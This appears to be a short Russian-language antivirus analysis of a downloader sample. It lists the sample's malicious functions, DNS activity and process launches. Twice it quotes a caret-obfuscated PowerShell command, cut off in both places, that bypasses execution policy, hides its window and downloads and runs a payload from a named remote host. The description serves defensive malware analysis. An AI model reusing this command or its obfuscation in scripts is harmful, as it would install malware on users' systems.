Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoWeRshELL.^E^xe ^-EXe^C^utIo^n^PO^l^i^CY^ Bypass -Nopr^O^FIle -w^INdOw^styL^E ^Hidd^E^N^ (Ne^w-o^bJEc^T^ SySTe^M.nE^T.W^E^bCLie^N^t).^DowN^LoA^dF^IL^E(^'http://newyeargoka.top/r...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoWeRshELL.^E^xe ^-EXe^C^utIo^n^PO^l^i^CY^ Bypass -Nopr^O^FIle -w^INdOw^styL^E ^Hidd^E^N^ (Ne^w-o^bJEc^T^ SySTe^M.nE^T.W^E^bCLie^N^t).^DowN^LoA^dF^IL^E(^'http://newyeargoka.top/r...' (со скрытым окном)
